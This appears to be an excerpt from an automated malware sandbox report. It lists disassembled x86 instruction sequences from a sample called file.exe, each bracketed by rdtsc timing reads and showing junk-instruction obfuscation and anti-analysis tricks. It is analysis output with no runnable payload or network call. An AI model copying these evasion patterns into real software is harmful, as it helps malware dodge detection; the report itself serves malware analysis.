Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E70E second address: 52E77C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ecx 0x0000000e call 00007FF7B4BDD208h 0x00000013 pop ecx 0x00000014 mov dword ptr [esp+04h], ecx 0x00000018 add dword ptr [esp+04h], 00000017h 0x00000020 inc ecx 0x00000021 push ecx 0x00000022 ret 0x00000023 pop ecx 0x00000024 ret 0x00000025 movzx edi, bx 0x00000028 push 00000000h 0x0000002a adc ebx, 22E11B71h 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push ebx 0x00000035 call 00007FF7B4BDD208h 0x0000003a pop ebx 0x0000003b mov dword ptr [esp+04h], ebx 0x0000003f add dword ptr [esp+04h], 0000001Ch 0x00000047 inc ebx 0x00000048 push ebx 0x00000049 ret 0x0000004a pop ebx 0x0000004b ret 0x0000004c push eax 0x0000004d push esi 0x0000004e push eax 0x0000004f push edx 0x00000050 jmp 00007FF7B4BDD20Fh 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D8CA second address: 52D8CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F6C6 second address: 52F736 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 or ebx, dword ptr [ebp+122D393Bh] 0x0000000d call 00007FF7B4BDD210h 0x00000012 xor dword ptr [ebp+1245CA36h], ebx 0x00000018 pop ebx 0x00000019 push 00000000h 0x0000001b jng 00007FF7B4BDD20Fh 0x00000021 push 00000000h 0x00000023 push 00000000h 0x00000025 push ecx 0x00000026 call 00007FF7B4BDD208h 0x0000002b pop ecx 0x0000002c mov dword ptr [esp+04h], ecx 0x00000030 add dword ptr [esp+04h], 0000001Dh 0x00000038 inc ecx 0x00000039 push ecx 0x0000003a ret 0x0000003b pop ecx 0x0000003c ret 0x0000003d xchg eax, esi 0x0000003e push edi 0x0000003f jmp 00007FF7B4BDD20Ah 0x00000044 pop edi 0x00000045 push eax 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a push edx 0x0000004b pop edx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F736 second address: 52F740 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FF7B4BE4C36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F89A second address: 52F89F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 530891 second address: 53089B instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF7B4BE4C36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F89F second address: 52F8A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53089B second address: 530930 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BE4C47h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007FF7B4BE4C38h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 0000001Bh 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 and ebx, dword ptr [ebp+122D391Bh] 0x0000002a mov ebx, 6F1DE609h 0x0000002f push dword ptr fs:[00000000h] 0x00000036 mov dword ptr [ebp+1245CA36h], edi 0x0000003c mov dword ptr fs:[00000000h], esp 0x00000043 mov dword ptr [ebp+122D3155h], eax 0x00000049 mov eax, dword ptr [ebp+122D0D61h] 0x0000004f push FFFFFFFFh 0x00000051 push 00000000h 0x00000053 push ebp 0x00000054 call 00007FF7B4BE4C38h 0x00000059 pop ebp 0x0000005a mov dword ptr [esp+04h], ebp 0x0000005e add dword ptr [esp+04h], 00000015h 0x00000066 inc ebp 0x00000067 push ebp 0x00000068 ret 0x00000069 pop ebp 0x0000006a ret 0x0000006b sub ebx, 77C1A4D2h 0x00000071 push eax 0x00000072 pushad 0x00000073 push eax 0x00000074 push edx 0x00000075 push eax 0x00000076 push edx 0x00000077 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F8A5 second address: 52F92F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jno 00007FF7B4BDD214h 0x00000010 push edi 0x00000011 jnc 00007FF7B4BDD206h 0x00000017 pop edi 0x00000018 popad 0x00000019 nop 0x0000001a mov bx, ax 0x0000001d push dword ptr fs:[00000000h] 0x00000024 jmp 00007FF7B4BDD215h 0x00000029 mov dword ptr fs:[00000000h], esp 0x00000030 sub edi, dword ptr [ebp+122D2AF1h] 0x00000036 mov eax, dword ptr [ebp+122D0535h] 0x0000003c push 00000000h 0x0000003e push ecx 0x0000003f call 00007FF7B4BDD208h 0x00000044 pop ecx 0x00000045 mov dword ptr [esp+04h], ecx 0x00000049 add dword ptr [esp+04h], 00000019h 0x00000051 inc ecx 0x00000052 push ecx 0x00000053 ret 0x00000054 pop ecx 0x00000055 ret 0x00000056 push FFFFFFFFh 0x00000058 mov ebx, edi 0x0000005a nop 0x0000005b push eax 0x0000005c push edx 0x0000005d push eax 0x0000005e push edx 0x0000005f jbe 00007FF7B4BDD206h 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 530930 second address: 530934 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 531906 second address: 531918 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnp 00007FF7B4BDD208h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F92F second address: 52F935 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53297E second address: 532982 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 531918 second address: 53191D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F935 second address: 52F971 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BDD210h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007FF7B4BDD20Eh 0x00000012 jmp 00007FF7B4BDD215h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53571C second address: 535726 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FF7B4BE4C36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532982 second address: 5329F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007FF7B4BDD210h 0x0000000c pop edi 0x0000000d popad 0x0000000e mov dword ptr [esp], eax 0x00000011 jc 00007FF7B4BDD218h 0x00000017 push esi 0x00000018 mov di, F2E9h 0x0000001c pop edi 0x0000001d push dword ptr fs:[00000000h] 0x00000024 xor ebx, 6A1DF7ADh 0x0000002a mov dword ptr fs:[00000000h], esp 0x00000031 movzx edi, di 0x00000034 mov eax, dword ptr [ebp+122D0929h] 0x0000003a mov edi, dword ptr [ebp+122D1B0Ah] 0x00000040 cmc 0x00000041 push FFFFFFFFh 0x00000043 mov edi, ebx 0x00000045 nop 0x00000046 push eax 0x00000047 push edx 0x00000048 jmp 00007FF7B4BDD20Fh 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53191D second address: 531923 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F971 second address: 52F977 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5339DF second address: 5339E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 535726 second address: 5357BE instructions: 0x00000000 rdtsc 0x00000002 jns 00007FF7B4BDD206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007FF7B4BDD218h 0x00000013 jmp 00007FF7B4BDD218h 0x00000018 popad 0x00000019 nop 0x0000001a movsx ebx, ax 0x0000001d push ebx 0x0000001e mov bh, 5Bh 0x00000020 pop ebx 0x00000021 push 00000000h 0x00000023 stc 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push ebp 0x00000029 call 00007FF7B4BDD208h 0x0000002e pop ebp 0x0000002f mov dword ptr [esp+04h], ebp 0x00000033 add dword ptr [esp+04h], 00000014h 0x0000003b inc ebp 0x0000003c push ebp 0x0000003d ret 0x0000003e pop ebp 0x0000003f ret 0x00000040 and di, 5360h 0x00000045 xchg eax, esi 0x00000046 jng 00007FF7B4BDD20Eh 0x0000004c jbe 00007FF7B4BDD208h 0x00000052 push eax 0x00000053 pop eax 0x00000054 push eax 0x00000055 push eax 0x00000056 push eax 0x00000057 push edx 0x00000058 jmp 00007FF7B4BDD218h 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F977 second address: 52F97B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5339E3 second address: 5339F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BDD20Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jbe 00007FF7B4BDD206h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 538E16 second address: 538E1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 534A61 second address: 534A66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53692C second address: 536944 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FF7B4BE4C41h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539001 second address: 53900D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jnp 00007FF7B4BDD206h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53BDCB second address: 53BDD0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53BDD0 second address: 53BE39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c pushad 0x0000000d mov dword ptr [ebp+12468C7Ch], edx 0x00000013 popad 0x00000014 mov edi, 3FF9C350h 0x00000019 push 00000000h 0x0000001b push ebx 0x0000001c mov edi, dword ptr [ebp+122D26CFh] 0x00000022 pop edi 0x00000023 push 00000000h 0x00000025 push 00000000h 0x00000027 push ebx 0x00000028 call 00007FF7B4BDD208h 0x0000002d pop ebx 0x0000002e mov dword ptr [esp+04h], ebx 0x00000032 add dword ptr [esp+04h], 00000018h 0x0000003a inc ebx 0x0000003b push ebx 0x0000003c ret 0x0000003d pop ebx 0x0000003e ret 0x0000003f mov bx, E192h 0x00000043 xchg eax, esi 0x00000044 jmp 00007FF7B4BDD210h 0x00000049 push eax 0x0000004a js 00007FF7B4BDD218h 0x00000050 push eax 0x00000051 push edx 0x00000052 jp 00007FF7B4BDD206h 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53A17C second address: 53A181 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B13C second address: 53B141 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C0CC second address: 53C0D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007FF7B4BE4C36h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5467AA second address: 5467AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5467AE second address: 5467B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB443 second address: 4DB456 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push edx 0x00000008 pop edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB456 second address: 4DB45A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 545EF3 second address: 545F06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF7B4BDD20Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 547EC3 second address: 547EDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF7B4BE4C46h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5496CE second address: 5496DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop eax 0x00000007 push ebx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54AD66 second address: 54AD99 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FF7B4BE4C36h 0x00000008 jp 00007FF7B4BE4C36h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007FF7B4BE4C42h 0x00000015 popad 0x00000016 jl 00007FF7B4BE4C5Ah 0x0000001c push eax 0x0000001d push edx 0x0000001e push esi 0x0000001f pop esi 0x00000020 jne 00007FF7B4BE4C36h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54AD99 second address: 54AD9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54AD9D second address: 54ADA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54ADA3 second address: 54ADAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5516E0 second address: 5516E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5516E6 second address: 5516FE instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF7B4BDD206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 jg 00007FF7B4BDD206h 0x00000017 pop ebx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5518AA second address: 5518AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 556B21 second address: 556B3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FF7B4BDD206h 0x0000000a pop esi 0x0000000b pushad 0x0000000c jmp 00007FF7B4BDD20Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 555EBE second address: 555EC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5562A8 second address: 5562AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5566DD second address: 5566E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5566E2 second address: 556705 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF7B4BDD20Fh 0x00000008 jmp 00007FF7B4BDD20Ah 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 556705 second address: 556709 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9979 second address: 4D997E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D997E second address: 4D9984 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9984 second address: 4D9993 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BDD20Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9993 second address: 4D99C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FF7B4BE4C49h 0x00000010 jmp 00007FF7B4BE4C40h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55BCF3 second address: 55BD1C instructions: 0x00000000 rdtsc 0x00000002 jc 00007FF7B4BDD206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF7B4BDD217h 0x00000011 je 00007FF7B4BDD206h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55BD1C second address: 55BD20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55BD20 second address: 55BD26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 527E7F second address: 527E85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 527E85 second address: 527E89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5281A5 second address: 5281AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5283E4 second address: 5283EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5283EF second address: 5283F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5283F3 second address: 528401 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007FF7B4BDD206h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5286D5 second address: 528710 instructions: 0x00000000 rdtsc 0x00000002 je 00007FF7B4BE4C36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov edx, eax 0x0000000d push 00000004h 0x0000000f mov edi, dword ptr [ebp+122D3B97h] 0x00000015 nop 0x00000016 push ecx 0x00000017 jmp 00007FF7B4BE4C49h 0x0000001c pop ecx 0x0000001d push eax 0x0000001e push edx 0x0000001f je 00007FF7B4BE4C3Ch 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5286C6 second address: 5286D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 jo 00007FF7B4BDD214h 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 528B0C second address: 528B10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 528B10 second address: 528B42 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF7B4BDD20Eh 0x00000008 jmp 00007FF7B4BDD211h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jne 00007FF7B4BDD206h 0x0000001a push ecx 0x0000001b pop ecx 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 528C8D second address: 528C91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 528C91 second address: 528C97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 528E19 second address: 528E1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 528EB2 second address: 528EB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 528EB8 second address: 528EC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jng 00007FF7B4BE4C36h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 528EC9 second address: 507B54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 nop 0x00000007 sbb cl, 0000005Ah 0x0000000a movzx edx, di 0x0000000d lea eax, dword ptr [ebp+12487BAFh] 0x00000013 mov dword ptr [ebp+122D2E0Fh], edx 0x00000019 push eax 0x0000001a jp 00007FF7B4BDD20Ah 0x00000020 mov dword ptr [esp], eax 0x00000023 call 00007FF7B4BDD20Ah 0x00000028 or dword ptr [ebp+122D1E63h], edx 0x0000002e pop ecx 0x0000002f lea eax, dword ptr [ebp+12487B6Bh] 0x00000035 push ebx 0x00000036 pushad 0x00000037 push ebx 0x00000038 pop edx 0x00000039 mov bx, CB82h 0x0000003d popad 0x0000003e pop edi 0x0000003f push eax 0x00000040 push edi 0x00000041 pushad 0x00000042 pushad 0x00000043 popad 0x00000044 jmp 00007FF7B4BDD20Eh 0x00000049 popad 0x0000004a pop edi 0x0000004b mov dword ptr [esp], eax 0x0000004e jno 00007FF7B4BDD20Ch 0x00000054 call dword ptr [ebp+122D1FC4h] 0x0000005a pushad 0x0000005b push edx 0x0000005c push eax 0x0000005d push edx 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C3E0 second address: 55C3FF instructions: 0x00000000 rdtsc 0x00000002 jp 00007FF7B4BE4C36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnc 00007FF7B4BE4C3Eh 0x00000010 pop esi 0x00000011 pushad 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C3FF second address: 55C40F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jg 00007FF7B4BDD206h 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C701 second address: 55C71E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF7B4BE4C3Ah 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF7B4BE4C3Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 562409 second address: 56240D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
